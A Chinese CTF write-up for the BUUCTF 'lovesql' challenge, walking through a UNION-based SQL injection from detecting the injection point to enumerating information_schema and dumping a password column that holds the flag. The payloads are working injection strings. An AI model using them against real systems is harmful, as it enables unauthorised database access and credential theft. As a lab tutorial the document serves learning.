buuctf 极客大挑战 lovesql

根据题意,sql注入,先看看他的报错信息,判断是字符型还是数字型
(注意在username下千万不要输入admin等这些在数据库敏感的词汇,CTF是去找flag,而不是渗透)

在username输入1’
buuctf 极客大挑战 lovesql_第1张图片
可以发现他报错内容出现在pasword里,那我们就换成password查看报错信息

buuctf 极客大挑战 lovesql_第2张图片
报错信息为:''12''' at line 1
可以发现 12’ 是我们输入的内容 ,说明是字符型

如果是整形,他的报错信息应为
"'"
那我们需要闭合,由于这个题目没有过滤任何sql注入的关键字,我们直接用 %23(#)来进行闭合sql语句
buuctf 极客大挑战 lovesql_第3张图片

由于页面有回显,可以用到联合注入
12' union select 1%23

buuctf 极客大挑战 lovesql_第4张图片提示我们还有更多的列,往后面加,发现有3个列
12' union select 1,2,3%23
buuctf 极客大挑战 lovesql_第5张图片
并且显示2,3字段可查

我们查询当前所用的数据库名
12' union select 1,database(),3%23
buuctf 极客大挑战 lovesql_第6张图片
发现数据库名是geek

接着查询geek里的表名,最后用group_concat,将所有的表都显示出来

我们在2字段查询的时候,发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '3#'' at line 1

注意提示,我们换3字段
12' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' %23

information_schema 这个库里包含了你所有创建的库,表的信息,所有可以从这个库里查找当前网页使用的库
buuctf 极客大挑战 lovesql_第7张图片
geek库有两个表,表名分别为:geekuser,l0ve1ysq1

再查询列名

12' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' %23

buuctf 极客大挑战 lovesql_第8张图片

两张表的列名都为 id ,username, password
注意之前的表名 有个l0ve1ysq1,刚好符合这个题目的名字lovesql
因此查询这张表的信息

最终在password的列里找到flag

12' union select 1,2,group_concat(password) from l0ve1ysq1 %23

你可能感兴趣的:(笔记)